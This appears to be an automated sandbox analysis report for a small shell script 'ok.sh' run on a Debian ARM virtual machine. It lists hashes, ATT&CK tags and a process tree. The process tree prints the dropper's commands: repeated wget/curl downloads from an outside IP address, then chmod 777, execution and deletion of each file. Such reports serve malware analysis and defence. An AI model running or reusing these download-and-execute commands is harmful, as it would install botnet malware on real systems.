f741f548eaf5f80dd1bc55a7c3ac80ef1f0d7ee73d023f49e56093cb4b692f29

Analysis

max time kernel
6s
max time network
7s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29/08/2026, 15:34

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General

Target
ok.sh
Size 1KB
Sample260829-szvxdszend
SHA256 f741f548eaf5f80dd1bc55a7c3ac80ef1f0d7ee73d023f49e56093cb4b692f29
MD5 8955d4feea5608561706b6a963e963b2
SHA1 20eb34640c39c811c716d324ed64e0d204aa6fb0
SHA512 dc0117e5772b2ec3ee7bdc709e5c2fc18753c147f6ded82c16184f839eb8dbf7b71b75d7c043a4bdea3e6a29d0681e16f769eca4d134f4dab9b54359a9d3dd32
TLSH
T1173170DA01501A311513CE4E73A23588B58DA2FB288FD7E4DE480EFD564838CF665F48
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
680	chmod
719	chmod
760	chmod
767	chmod
825	chmod
687	chmod
697	chmod
743	chmod
774	chmod
793	chmod
814	chmod
672	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/fd2165	673	ok.sh
/tmp/142659	681	ok.sh
/tmp/0b1384	688	ok.sh
/tmp/0484b5	699	ok.sh
/tmp/764aae	720	ok.sh
/tmp/b6394a	747	ok.sh
/tmp/19c329	761	ok.sh
/tmp/1086a6	768	ok.sh
/tmp/23515d	775	ok.sh
/tmp/2c5ab3	794	ok.sh
/tmp/2af059	816	ok.sh
/tmp/bcb2fa	826	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/142659	curl
File opened for modification	/tmp/0b1384	curl
File opened for modification	/tmp/19c329	curl
File opened for modification	/tmp/1086a6	curl
File opened for modification	/tmp/2c5ab3	curl
File opened for modification	/tmp/bcb2fa	curl
File opened for modification	/tmp/fd2165	curl
File opened for modification	/tmp/0484b5	curl
File opened for modification	/tmp/764aae	curl
File opened for modification	/tmp/b6394a	curl
File opened for modification	/tmp/23515d	curl
File opened for modification	/tmp/2af059	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:644
- /usr/bin/wget
  wget http://5.182.210.174/fd2165
  2⤵
  PID:649
- /usr/bin/curl
  curl -O http://5.182.210.174/fd2165
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:666
- /bin/chmod
  chmod 777 fd2165
  2⤵
  - File and Directory Permissions Modification
  PID:672
- /tmp/fd2165
  ./fd2165 bc
  2⤵
  PID:673
- /bin/rm
  rm -rf fd2165
  2⤵
  PID:676
- /bin/rm
  rm -rf fd2165.1
  2⤵
  PID:677
- /usr/bin/wget
  wget http://5.182.210.174/142659
  2⤵
  PID:678
- /usr/bin/curl
  curl -O http://5.182.210.174/142659
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod 777 142659
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/142659
  ./142659 bc
  2⤵
  PID:681
- /bin/rm
  rm -rf 142659
  2⤵
  PID:683
- /bin/rm
  rm -rf 142659.1
  2⤵
  PID:684
- /usr/bin/wget
  wget http://5.182.210.174/0b1384
  2⤵
  PID:685
- /usr/bin/curl
  curl -O http://5.182.210.174/0b1384
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:686
- /bin/chmod
  chmod 777 0b1384
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/0b1384
  ./0b1384 bc
  2⤵
  PID:688
- /bin/rm
  rm -rf 0b1384
  2⤵
  PID:690
- /bin/rm
  rm -rf 0b1384.1
  2⤵
  PID:691
- /usr/bin/wget
  wget http://5.182.210.174/0484b5
  2⤵
  PID:692
- /usr/bin/curl
  curl -O http://5.182.210.174/0484b5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod 777 0484b5
  2⤵
  - File and Directory Permissions Modification
  PID:697
- /tmp/0484b5
  ./0484b5 bc
  2⤵
  PID:699
- /bin/rm
  rm -rf 0484b5
  2⤵
  PID:701
- /bin/rm
  rm -rf 0484b5.1
  2⤵
  PID:703
- /usr/bin/wget
  wget http://5.182.210.174/764aae
  2⤵
  PID:705
- /usr/bin/curl
  curl -O http://5.182.210.174/764aae
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:711
- /bin/chmod
  chmod 777 764aae
  2⤵
  - File and Directory Permissions Modification
  PID:719
- /tmp/764aae
  ./764aae bc
  2⤵
  PID:720
- /bin/rm
  rm -rf 764aae
  2⤵
  PID:723
- /bin/rm
  rm -rf 764aae.1
  2⤵
  PID:725
- /usr/bin/wget
  wget http://5.182.210.174/b6394a
  2⤵
  PID:726
- /usr/bin/curl
  curl -O http://5.182.210.174/b6394a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/chmod
  chmod 777 b6394a
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/b6394a
  ./b6394a bc
  2⤵
  PID:747
- /bin/rm
  rm -rf b6394a
  2⤵
  PID:749
- /bin/rm
  rm -rf b6394a.1
  2⤵
  PID:751
- /usr/bin/wget
  wget http://5.182.210.174/19c329
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://5.182.210.174/19c329
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 19c329
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/19c329
  ./19c329 bc
  2⤵
  PID:761
- /bin/rm
  rm -rf 19c329
  2⤵
  PID:763
- /bin/rm
  rm -rf 19c329.1
  2⤵
  PID:764
- /usr/bin/wget
  wget http://5.182.210.174/1086a6
  2⤵
  PID:765
- /usr/bin/curl
  curl -O http://5.182.210.174/1086a6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod 777 1086a6
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/1086a6
  ./1086a6 bc
  2⤵
  PID:768
- /bin/rm
  rm -rf 1086a6
  2⤵
  PID:770
- /bin/rm
  rm -rf 1086a6.1
  2⤵
  PID:771
- /usr/bin/wget
  wget http://5.182.210.174/23515d
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://5.182.210.174/23515d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod 777 23515d
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/23515d
  ./23515d bc
  2⤵
  PID:775
- /bin/rm
  rm -rf 23515d
  2⤵
  PID:777
- /bin/rm
  rm -rf 23515d.1
  2⤵
  PID:778
- /usr/bin/wget
  wget http://5.182.210.174/2c5ab3
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://5.182.210.174/2c5ab3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/chmod
  chmod 777 2c5ab3
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/2c5ab3
  ./2c5ab3 bc
  2⤵
  PID:794
- /bin/rm
  rm -rf 2c5ab3
  2⤵
  PID:797
- /bin/rm
  rm -rf 2c5ab3.1
  2⤵
  PID:799
- /usr/bin/wget
  wget http://5.182.210.174/2af059
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://5.182.210.174/2af059
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/chmod
  chmod 777 2af059
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/2af059
  ./2af059 bc
  2⤵
  PID:816
- /bin/rm
  rm -rf 2af059
  2⤵
  PID:819
- /bin/rm
  rm -rf 2af059.1
  2⤵
  PID:820
- /usr/bin/wget
  wget http://5.182.210.174/bcb2fa
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://5.182.210.174/bcb2fa
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824
- /bin/chmod
  chmod 777 bcb2fa
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/bcb2fa
  ./bcb2fa bc
  2⤵
  PID:826
- /bin/rm
  rm -rf bcb2fa
  2⤵
  PID:828
- /bin/rm
  rm -rf bcb2fa.1
  2⤵
  PID:829

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

fd2165

Path /tmp/fd2165
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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